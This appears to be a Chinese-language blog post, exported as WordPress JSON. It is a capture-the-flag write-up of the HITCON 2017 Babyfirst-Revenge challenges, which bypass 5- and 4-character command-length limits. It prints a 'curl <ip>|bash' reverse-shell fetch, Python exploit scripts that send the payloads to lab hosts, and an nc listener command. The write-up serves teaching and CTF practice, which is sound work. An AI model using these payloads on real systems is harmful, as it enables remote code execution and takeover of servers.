{"id":371,"date":"2022-11-07T20:50:35","date_gmt":"2022-11-07T12:50:35","guid":{"rendered":"https:\/\/fushuling.com\/?p=371"},"modified":"2022-11-08T19:20:33","modified_gmt":"2022-11-08T11:20:33","slug":"%e6%9c%89%e8%b6%a3%e7%9a%84linux%e5%91%bd%e4%bb%a4","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2022\/11\/07\/%e6%9c%89%e8%b6%a3%e7%9a%84linux%e5%91%bd%e4%bb%a4\/","title":{"rendered":"Funny Linux Tips"},"content":{"rendered":"\n

[HITCON 2017]Babyfirst-Revenge<\/h2>\n\n\n\n

\u7ffbbuuoj\u7684\u65f6\u5019\u770b\u5230\u4e86\u8fd9\u9053\u9898\uff0c\u5206\u503c\u9ad8\u8fbe92\u5206\uff0c\u53ea\u670932\u4e2a\u5e08\u5085\u89e3\u51fa\u6765\u4e86\u8fd9\u9053\u9898\uff0c\u7b80\u5355\u770b\u4e86\u4e0b\u5176\u4ed6\u5e08\u5085\u7684wp\uff0c\u8fd9\u9053\u9898\u4f3c\u4e4e\u4e0eLinux\u547d\u4ee4\u6709\u5173\uff0c\u5f88\u6709\u610f\u601d\uff0c\u4e8e\u662f\u53c2\u8003\u5176\u4ed6\u5e08\u5085\u7684wp\u6211\u51c6\u5907\u6311\u6218\u4e0b\u8fd9\u9053\u9898\u3002<\/p>\n\n\n\n

\u8fdb\u5165\u9898\u76ee\u73af\u5883\u9875\u9762\u4e0a\u76f4\u63a5\u51fa\u73b0\u4e86\u6e90\u7801\uff1a<\/p>\n\n\n\n

 <?php\n    echo $_SERVER['REMOTE_ADDR'].\"\\n\";\n    $sandbox = '\/var\/www\/html\/sandbox\/' . md5(\"orange\" . $_SERVER['REMOTE_ADDR']);\n    @mkdir($sandbox);\n    @chdir($sandbox);\n    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {\n        @exec($_GET['cmd']);\n    } else if (isset($_GET['reset'])) {\n        @exec('\/bin\/rm -rf ' . $sandbox);\n    }\n    highlight_file(__FILE__);<\/code><\/pre>\n\n\n\n
\u7b80\u5355\u5206\u6790\u4e0b\uff0c\u9898\u76ee\u4f1a\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a\/var\/www\/html\/sandbox\/\u6587\u4ef6\u5939\uff0c\u7136\u540e\u5207\u6362\u76ee\u5f55\u81f3\u6539\u4f4d\u7f6e\uff0c\u63a5\u7740\u6ee1\u8db3\u6761\u4ef6\u7684\u60c5\u51b5\u4e0b\u6211\u4eec\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\uff0c\u4e0d\u8fc7\u8fd9\u91cc\u6709\u4e2a\u5f88\u660e\u663e\u7684\u96be\u70b9\uff0c\u5c31\u662f\u9650\u5236cmd\u53c2\u6570\u7684\u957f\u5ea6\u5fc5\u987b\u5c0f\u4e8e\u7b49\u4e8e\u4e94\uff0c\u5426\u5219\u76f4\u63a5\u7ed9\u4f60rm -rf\u4e86\uff0c\u6240\u4ee5\u73b0\u5728\u7684\u96be\u70b9\u5c31\u5728\u4e8e\u600e\u4e48\u5728\u547d\u4ee4\u957f\u5ea6\u53d7\u9650\u7684\u60c5\u51b5\u4e0b\u5b9e\u73b0get shell\u3002<\/p>\n\n\n\n
\u7ffb\u4e86\u7ffbP\u725b\u7684\u535a\u5ba2<\/a>\uff0c\u53d1\u73b0\u4ed6\u65e9\u5c31\u63d0\u8fc7\u8fd9\u4e2a\u5c0ftips\u4e86\uff0c\u53c2\u8003\u5176\u4ed6\u5e08\u5085\u7684wp<\/a>\uff0c\u4e0b\u9762\u6211\u4eec\u6765\u7b80\u5355\u5206\u6790\u4e0b\uff1a<\/p>\n\n\n\n
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\"\"<\/div><\/figure>\n\n\n\n
\u5176\u6b21\u6211\u4eec\u53ef\u4ee5\u7528sh filename<\/code>\u6267\u884c\u6587\u4ef6\u91cc\u7684\u6709\u6548\u6587\u4ef6\u547d\u4ee4\uff0c\u5373\u4f7f\u5176\u4e2d\u6709\u975e\u547d\u4ee4\u5b57\u7b26\u4e32\u4e5f\u53ea\u4f1a\u62a5\u9519\uff0c\u8fd8\u662f\u4f1a\u7ee7\u7eed\u6267\u884c\u6709\u6548\u7684\u6587\u4ef6\u547d\u4ee4\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd8\u6709\u4e00\u4e2a\u5f88\u7ecf\u5178\u7684linux\u77e5\u8bc6\u70b9\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7>+fileanme\u6765\u5b9e\u73b0\u65b0\u5efa\u4e00\u4e2a\u6587\u4ef6(>\u662f\u8986\u76d6\uff0c>>\u662f\u8ffd\u52a0)\uff0c\u8fd9\u4e2atips\u633a\u597d\u7528\u7684\uff0c\u6bd4\u5982\u67d0\u4e2a\u4f60\u5728\u67d0\u4e2a\u7f51\u7ad9\u53d1\u73b0\u4e00\u4e2a\u65e0\u56de\u663e\u7684\u547d\u4ee4\u6ce8\u5165\u70b9\uff0c\u4f60\u53ef\u4ee5\u7528cat *>1.txt\uff0c\u5c06\u5185\u5bb9\u5168\u90e8\u5199\u8fdb1.txt\u91cc\uff0c\u7136\u540e\u901a\u8fc7\u8bbf\u95ee1.txt\u6765\u770b\u5230\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u3002<\/p>\n\n\n\n
\u73b0\u5728\u6211\u4eec\u5df2\u7ecf\u5b66\u4f1a\u4e86\u57fa\u7840\u77e5\u8bc6\u70b9\uff0c\u60f3\u5fc5\u89e3\u51b3\u8fd9\u9053\u9898\u4e00\u5b9a\u662f\u624b\u5230\u64d2\u6765((\u203e\u25e1\u25dd))<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7b80\u5355\u601d\u8003\u4e0b\uff0c\u600e\u4e48\u901a\u8fc7\u4e0a\u9762\u7684\u4e09\u4e2a\u77e5\u8bc6\u70b9get shell\u5462\uff0c\u5176\u5b9e\u5f88\u7b80\u5355\u3002\u6211\u4eec\u77e5\u9053linux\u7528ls -t\u53ef\u4ee5\u6309\u65f6\u95f4\u987a\u5e8f\u7f57\u5217\u51fa\u5404\u5927\u6587\u4ef6\uff0c\u6211\u4eec\u53ef\u4ee5\u628a\u6211\u4eec\u7684\u6076\u610f\u4ee3\u7801\u6bd4\u5982<\/p>\n\n\n\n
curl 10.188.2.20|bash<\/code><\/pre>\n\n\n\n
\u6309\u65f6\u95f4\u987a\u5e8f\u62c6\u89e3\u6210\u4e0d\u540c\u7684\u6587\u4ef6\uff0c\u5982cu\/ rl\/\u7b49\u7b49\u7b49\uff0c\u7136\u540e\u7528\u540c\u6837\u7684\u65b9\u6cd5\u6267\u884cls -t>g\uff0c\u6309\u65f6\u95f4\u987a\u5e8f\u62fc\u51d1\u51fa\u4f60\u60f3\u8981\u7684\u547d\u4ee4\uff0c\u53ef\u80fd\u8bf4\u8d77\u6765\u6709\u70b9\u590d\u6742\uff0c\u770b\u6211(\u6284)\u7684\u811a\u672c\u5c31\u77e5\u9053\u4e86\uff1a<\/p>\n\n\n\n
import requests\nfrom time import sleep\nfrom urllib.parse import quote\n\n\npayload = [\n    # generate `ls -t>g` file\n    '>ls\\\\', \n    'ls>_', \n    '>\\ \\\\', \n    '>-t\\\\', \n    '>\\>g', \n    'ls>>_', \n\n    # generate `curl 82.157.233.xxx|bash` \u8fd9\u4e2aip\u4e5f\u5c31\u662f\u6211\u7684wps\n    '>sh\\ ', \n    '>ba\\\\', \n    '>\\|\\\\',\n    '>x\\\\', \n    '>xx\\\\',  \n    '>3.\\\\',\n    '>23\\\\', \n    '>7.\\\\',\n    '>15\\\\', \n    '>2.\\\\', \n    '>8\\\\', \n    '>\\ \\\\', \n    '>rl\\\\', \n    '>cu\\\\', \n\n    # exec\n    'sh _', \n    'sh g', \n]\n\n\n\nr = requests.get('http:\/\/b5a65bfa-575e-43a8-9a44-fb0bf56cde88.node4.buuoj.cn:81\/\/?reset=1')\nfor i in payload:\n    assert len(i) <= 5 \n    r = requests.get('http:\/\/b5a65bfa-575e-43a8-9a44-fb0bf56cde88.node4.buuoj.cn:81\/\/?cmd=' + quote(i) )\n    print(i)\n    sleep(0.2)<\/code><\/pre>\n\n\n\n
\u76f4\u63a5\u62ff\u8fd9\u4e2a\u811a\u672c\u8dd1\u663e\u7136\u662f\u8dd1\u4e0d\u52a8\u7684 \uff0c\u9996\u5148\u4f60\u8981\u53bb\u4f60wps\u91cc\u653e\u53cd\u5f39shell\u7684\u4ee3\u7801\uff08\u6bd4\u5982\u8fd9\u6837\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u5c31\u662f\u6700\u5e38\u89c1\u7684\u5f39shell\u65b9\u5f0f\u4e86\uff0c\u4e0d\u61c2\u53ef\u4ee5\u770b\u8fd9\u4e2a<\/a>\u3002<\/p>\n\n\n\n
\u4e3a\u4e86\u6267\u884c\u53cd\u5f39shell\uff0c\u6211\u4eec\u7528\u8270\u96be\u7684\u65b9\u5f0f\u6784\u9020\u51fa\u6765\u4e86ls -t>g\uff0c\u63a5\u4e0b\u6765\u53ea\u8981\u6309\u987a\u5e8f\u6784\u9020\u51facurl 82.157.233.xxx|bash\uff0c\u7136\u540e\u6211\u4eec\u5206\u522b\u6267\u884csh _\uff0csh g\uff0c\u6267\u884c\u7b2c\u4e00\u4e2a_\u6587\u4ef6\u662f\u4e3a\u4e86\u6267\u884c\u91cc\u9762\u7684\u5185\u5bb9ls -t>g\uff0c\u6267\u884c\u4e86\u8fd9\u4e2a\u4e4b\u540e\u6211\u4eec\u5c31\u5728\u6587\u4ef6g\u91cc\u6309\u65f6\u95f4\u987a\u5e8f\u6784\u9020\u51fa\u4e86\u5f39shell\u7684\u4ee3\u7801\uff0c\u7136\u540e\u518d\u6267\u884csh g\u5c31\u6210\u679c\u5f39shell\u4e86\uff0c\u6211\u4eec\u8fd9\u8fb9\u53ea\u8981\u76d1\u542c\u4f60\u8bbe\u5b9a\u7684\u7aef\u53e3\u5c31\u53ef\u4ee5\u8fdc\u7a0b\u64cd\u63a7\u76ee\u6807\u673a\u4e86\ud83c\udf89\ud83c\udf89<\/p>\n\n\n\n
nc -lvvp 9383   #\u76d1\u542c9383\u7aef\u53e3\uff0c\u8fd9\u91cc\u662f\u6211\u53cd\u5f39shell\u7684\u6307\u5b9a\u7aef\u53e3<\/code><\/pre>\n\n\n\n
\u7136\u540e\u5728\u6839\u76ee\u5f55\u4e0b\u627e\u5230flag\uff0c\u62ff\u4e0b!<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
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\"\"<\/div><\/figure>\n\n\n\n
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[HITCON 2017]Babyfirst-Revenge-V2<\/h2>\n\n\n\n
<?php\n    echo $_SERVER['REMOTE_ADDR'].\"\\n\";\n    $sandbox = '\/var\/www\/html\/sandbox\/' . md5(\"orange\" . $_SERVER['REMOTE_ADDR']);\n    @mkdir($sandbox);\n    @chdir($sandbox);\n    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {\n        @exec($_GET['cmd']);\n    } else if (isset($_GET['reset'])) {\n        @exec('\/bin\/rm -rf ' . $sandbox);\n    }\n    highlight_file(__FILE__);<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u9053\u9898\u548c\u4e0a\u9053\u9898\u552f\u4e00\u7684\u5dee\u522b\u5c31\u662f\u4ece<= 5\u7f29\u51cf\u5230\u4e86<= 4\uff0c\u5bf9\u5229\u7528\u6761\u4ef6\u518d\u6b21\u505a\u4e86\u82db\u523b\u7684\u9650\u5236\uff0c\u90a3\u6211\u4eec\u601d\u8003\u4e0b\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u8be5\u5982\u4f55\u62ff\u5230flag\u5462\uff1f<\/p>\n\n\n\n
\u9996\u5148\uff0cls>>_<\/code>\u8fd9\u4e2a\u6280\u5de7\u5728\u8fd9\u513f\u884c\u4e0d\u901a\u4e86\uff0c\u73b0\u5728\u53ea\u80fd\u6709\u56db\u4e2a\u5b57\u7b26\uff0c\u8fd9\u4e2a\u4e0d\u884c\u7684\u8bdd\u4f1a\u5bf9\u6211\u4eec\u6784\u9020\u547d\u4ee4\u4ea7\u751f\u6781\u5927\u7684\u963b\u788d\uff0c\u7528\u4e0a\u9053\u9898\u7684\u65b9\u6cd5\u7684\u8bdd\u8fd9\u91cc\u53ef\u80fd\u6709\u70b9\u884c\u4e0d\u901a\u3002<\/p>\n\n\n\n
\u7b80\u5355\u5206\u6790\u4e0b\uff0c\u9996\u5148\u53cd\u5f39shell\u8fd9\u91cc\u7684\u601d\u8def\u662f\u4e0d\u53d8\u7684\uff0c\u80af\u5b9a\u8fd8\u662f\u8981\u5f39shell\uff0c\u800c\u4e14\u56de\u770b\u6211\u4eec\u4e4b\u524d\u6784\u9020 curl 82.157.233.xxx|bash<\/code>\u7684\u4ee3\u7801\uff0c\u5f88\u660e\u663e\u6bcf\u6b21\u6267\u884c\u90fd\u6ca1\u8d85\u8fc7\u56db\u4e2a\u5b57\u7b26(\u5728\/\u524d\u52a0\/\u662f\u4e3a\u4e86\u8f6c\u4e49\/\uff0c\u6240\u4ee5\/\/\u5176\u5b9e\u5c31\u662f\/)\uff0c\u4e0d\u8fc7\u5176\u5b9e\u5c31\u7b97\u8d85\u8fc7\u4e86\u4e5f\u633a\u597d\u89e3\u51b3\u7684\uff0c\u518d\u7ec6\u5206\u4e00\u4e0b\u5c31\u884c\u4e86\uff0c\u6240\u4ee5\u5173\u952e\u8fd8\u662f\u6784\u9020\u51fals -th>g<\/code>\u3002<\/p>\n\n\n\n
\u8fd9\u91cc\u5c31\u8981\u7528\u5230\u4e4b\u524d\u6211\u63d0\u8fc7\u7684dasctf\u91cc\u7528\u5230\u8fc7\u7684\u4e00\u4e2a\u77e5\u8bc6\u70b9\uff0c\u5728\u5f53\u524d\u5de5\u4f5c\u76ee\u5f55\u4e0b\u4f7f\u7528*\u547d\u4ee4\uff0c\u4f1a\u5c06\u76ee\u5f55\u540d\u5f53\u4f5c\u547d\u4ee4\u6267\u884c\uff08\u987a\u5e8f\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u89c1\u8fd9\u91cc\u6709\u4e09\u4e2a\u6587\u4ef6\u5939\uff0c\u6211\u4eec\u8f93\u5165*\u4ed6\u4f1a\u5339\u914d\u7b2c\u4e00\u4e2acat\u7136\u540e\u4f5c\u4e3a\u547d\u4ee4\u6267\u884c\u3002\u5f53\u7136\uff0c\u4f5c\u4e3a\u901a\u914d\u7b26\u7684*\u4e5f\u53ef\u4ee5\u901a\u8fc7*s\u901a\u914dls\uff0c\u8fd9\u4e2a\u7b97\u5f88\u5e38\u89c1\u7684\u77e5\u8bc6\u70b9\u4e86\uff0c\u6709\u4e86\u8fd9\u4e2a\u4e1c\u897f\u6211\u4eec\u5c31\u53ef\u4ee5\u601d\u8003\u5982\u4f55\u7b80\u5316\u547d\u4ee4\u4e86\u3002<\/p>\n\n\n\n
\u4f46\u8fd9\u91cc\u8fd8\u6709\u4e2a\u95ee\u9898\uff0c\u6211\u4eec\u4e4b\u524d\u662f\u7528ls>>_\u628a\u6240\u6709\u6587\u4ef6\u5199\u5165_\u7684\uff0c\u800c\u73b0\u5728\u6211\u4eec\u53ea\u6709\u56db\u4e2a\u5b57\u7b26\u4e86\uff0c\u5982\u679c\u7528ls>_\u7684\u8bdd\u4f1a\u628a\u6240\u6709\u4e1c\u897f\u90fd\u5199\u8fdb\u53bb\uff0c\u4e5f\u5c31\u662f_\u672c\u8eab\u4e5f\u4f1a\u5199\u8fdb_\u91cc\uff0c\u8fd9\u65e0\u7591\u4f1a\u5bf9\u6211\u4eec\u6784\u9020\u547d\u4ee4\u4ea7\u751f\u6781\u5927\u7684\u5f71\u54cd\uff0c\u800c\u4e14\u56e0\u4e3a\u6ca1\u6cd5\u7528>>\uff0c\u7528\/\u5206\u5272\u547d\u4ee4\u4e5f\u6ca1\u7528\uff0c\u8fd9\u65f6\u5019\u53c8\u6709\u4e00\u4e2a\u5c0f\u77e5\u8bc6\u70b9\u6216\u8005\u8bf4\u5e38\u8bc6\uff0c\u7528dir a b>v\u4f1a\u53ea\u628aa b\u5199\u8fdb\u53bb\uff0c\u8fd9\u6837\u5c31\u4e0d\u4f1a\u5bf9\u6211\u4eec\u6784\u9020\u7684\u547d\u4ee4\u4ea7\u751f\u5f71\u54cd\u4e86\u3002<\/p>\n\n\n\n
\u73b0\u5728\u6211\u4eec\u8981\u601d\u8003\u5982\u4f55\u50cf\u4e4b\u524d\u4e00\u6837\u6784\u9020ls -t>g\uff0c\u8fd9\u91cc\u6211\u770b\u5b98\u65b9wp\u8fd8\u7528\u4e86rev\u4e5f\u5c31\u662f\u5012\u8f6c\u7684\u6280\u5de7\uff0c\u9996\u5148\u6784\u9020\u4e86g> ht- sl<\/em>\uff0c\u7136\u540e\u6784\u9020\u4e86rev\u6587\u4ef6\u5939\uff0c\u7528*v>x\u6784\u9020\u51fa\u4e86\u6b63\u5411\u7684ls -th>g\u3002<\/p>\n\n\n\n
\u5c06 “g> ht- sl” \u5199\u5230\u6587\u4ef6 “v”\uff1a<\/p>\n\n\n\n
'>dir', \n'>sl', \n'>g\\>',\n'>ht-',\n'*>v',<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5012\u8f6cv\u91cc\u7684\u5b57\u7b26\u653e\u5230x\u91cc\uff1a<\/p>\n\n\n\n
'>rev',\n'*v>x',<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5269\u4e0b\u7684\u5c31\u662f\u50cf\u4e0a\u9053\u9898\u4e00\u6837\u6784\u9020curl yourip|bash\u4e86\uff0c\u8fd9\u4e00\u70b9\u5f88\u7b80\u5355\uff0c\u6807\u51c6\u7b54\u6848\u6bd5\u7adf\u662f\u6807\u51c6\u7b54\u6848\uff0c\u4ed6\u7684\u65b9\u6cd5\u80af\u5b9a\u662f\u53ef\u884c\u7684\uff0c\u4f46\u6211\u4eec\u5f97\u660e\u767d\u4e3a\u5565\u8981\u8fd9\u4e48\u505a\uff0c\u6709\u6ca1\u6709\u5176\u4ed6\u65b9\u6cd5\u3002<\/p>\n\n\n\n
\u9996\u5148\uff0c\u6211\u4eec\u8981\u660e\u767d\uff0clinux\u9ed8\u8ba4\u6392\u5217\u6587\u4ef6\u662f\u6309\u9996\u5b57\u6bcd\u6392\u5e03\u7684\uff0c\u6240\u4ee5dir\u5728\u7b2c\u4e00\u4e2a\uff0c\u6211\u4eec\u53ef\u4ee5\u7528*\u4ee3\u66ffdir\uff0c\u6240\u4ee5\u4e0d\u96be\u53d1\u73b0\u6211\u4eec\u8fd9\u91cc\u7528\u4e86’>ht-‘\uff0c\u800c\u4e0a\u9898\u7528\u7684”>-t”\uff0c\u6839\u672c\u76ee\u7684\u90fd\u662f\u4e3a\u4e86\u6784\u9020\u51fals -t\u6309\u65f6\u95f4\u987a\u5e8f\u5217\u51fa\u5404\u4e2a\u6587\u4ef6\uff0c\u800c\u8fd9\u4e2ah\u53c2\u6570\u5176\u5b9e\u6ca1\u5565\u7528\uff0c\u6211\u4eec\u662f\u4e3a\u4e86\u6309\u5b57\u6bcd\u987a\u5e8f\u6392\u5e8f\u6587\u4ef6\u624d\u52a0\u4e0a\u7684\uff0c\u56e0\u6b64\u8fd9\u91cc\u7684\u6784\u9020\u5176\u5b9e\u6bcf\u4e2a\u5b57\u6bcd\u90fd\u5927\u6709\u7384\u673a\uff0c\u53ea\u6709\u7b26\u5408Linux\u7684\u9ed8\u8ba4\u987a\u5e8f\u6211\u4eec\u624d\u80fd\u6700\u7ec8\u6784\u9020\u51fa\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u3002<\/p>\n\n\n\n
\u811a\u672c\uff1a<\/p>\n\n\n\n
import requests\nfrom time import sleep\nfrom urllib.parse import quote\n\n\npayload = [\n    # \u5c06 \"g> ht- sl\" \u5199\u5230\u6587\u4ef6 \"v\"\n    '>dir', \n    '>sl', \n    '>g\\>',\n    '>ht-',\n    '*>v',\n\n    # \u5c06\u6587\u4ef6\"v\"\u4e2d\u7684\u5b57\u7b26\u4e32\u5012\u5e8f\uff0c\u653e\u5230\u6587\u4ef6\"x\"\uff0c\u5c31\u53d8\u6210\u4e86 \"ls -th >g\"\n    '>rev',\n    '*v>x',\n\n    # curl 82.157.233.xxx\n\n    '>\\;\\\\',\n    '>sh\\\\', \n    '>ba\\\\', \n    '>\\|\\\\', \n    '>x\\\\',\n    '>xx\\\\',\n    '>3.\\\\',\n    '>23\\\\',\n    '>7.\\\\', \n    '>15\\\\', \n    '>2.\\\\', \n    '>8\\\\', \n    '>\\ \\\\', \n    '>rl\\\\', \n    '>cu\\\\', \n\n    # getshell\n    'sh x', \n    'sh g', \n]\n\n\nr = requests.get('http:\/\/01a3f24f-d53d-4ce1-923b-80bcfebc9699.node4.buuoj.cn:81\/?reset=1')\nfor i in payload:\n    assert len(i) <= 4\n    r = requests.get('http:\/\/01a3f24f-d53d-4ce1-923b-80bcfebc9699.node4.buuoj.cn:81\/?cmd=' + quote(i) )\n    print(i)\n    sleep(0.2)<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u53c8\u6709\u4e2a\u5751\u70b9\uff0c\u5fc5\u987b\u6784\u9020\u51facurl 82.157.233.xxx\u540e\u9762\u8fd8\u8981\u6784\u9020\u51fa”;”\u5206\u5272\u547d\u4ee4\uff0c\u5426\u5219\u6211\u4eec\u7684\u547d\u4ee4\u4f1a\u88ab\u5e72\u6270\u4e0d\u80fd\u53d1\u6325\u6b63\u5e38\u4f5c\u7528\uff0c\u6267\u884c\u7684\u4f1a\u662f\u7c7b\u4f3c|bashxrev\u4e4b\u7c7b\u7684\u5b8c\u5168\u4e0d\u8d77\u4f5c\u7528\u7684\u547d\u4ee4\uff0c\u6211\u4eec\u5f39\u4e86shell\u53ef\u4ee5\u4e0a\u53bb\u770b\u770b\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91ccbash\u548cx\u4e4b\u95f4\u5982\u679c\u6ca1\u6709\u5206\u53f7\u7684\u8bdd\u6267\u884c\u7684\u5c31\u662fbashxrev\u7b49\u7b49\u5947\u602a\u7684\u547d\u4ee4\uff0c\u6240\u4ee5\u6211\u4e4b\u524d\u7684\u590d\u73b0\u5931\u8d25\u4e86\u5f88\u4e45<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u800c\u6211\u4eec\u7684\u7b2c\u4e00\u9898\u5462<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u7684\u6587\u4ef6\u540d_\u8d77\u5230\u4e86\u5206\u9694\u7b26\u7684\u4f5c\u7528\uff0c\u5206\u9694\u4e86bash\u548c>g\uff0c\u81ea\u7136\u4e0d\u9700\u8981\u518d\u52a0\u5206\u53f7\u4e86\uff0c\u6240\u4ee5\u8bf4\u8fd9\u4e24\u9053\u9898\u8fde\u7ed9\u6587\u4ef6\u8d77\u540d\u5b57\u90fd\u5927\u6709\u7384\u673a\uff0c\u4e0d\u6127\u662fhitcon\u7684\u9898\uff0c\u72e0\u72e0\u7684\u5b66\u5230\u4e86\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
[HITCON 2017]Babyfirst-Revenge \u7ffbbuuoj\u7684\u65f6\u5019\u770b\u5230\u4e86\u8fd9\u9053\u9898\uff0c\u5206\u503c\u9ad8\u8fbe92\u5206\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-371","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=371"}],"version-history":[{"count":7,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/371\/revisions"}],"predecessor-version":[{"id":395,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/371\/revisions\/395"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}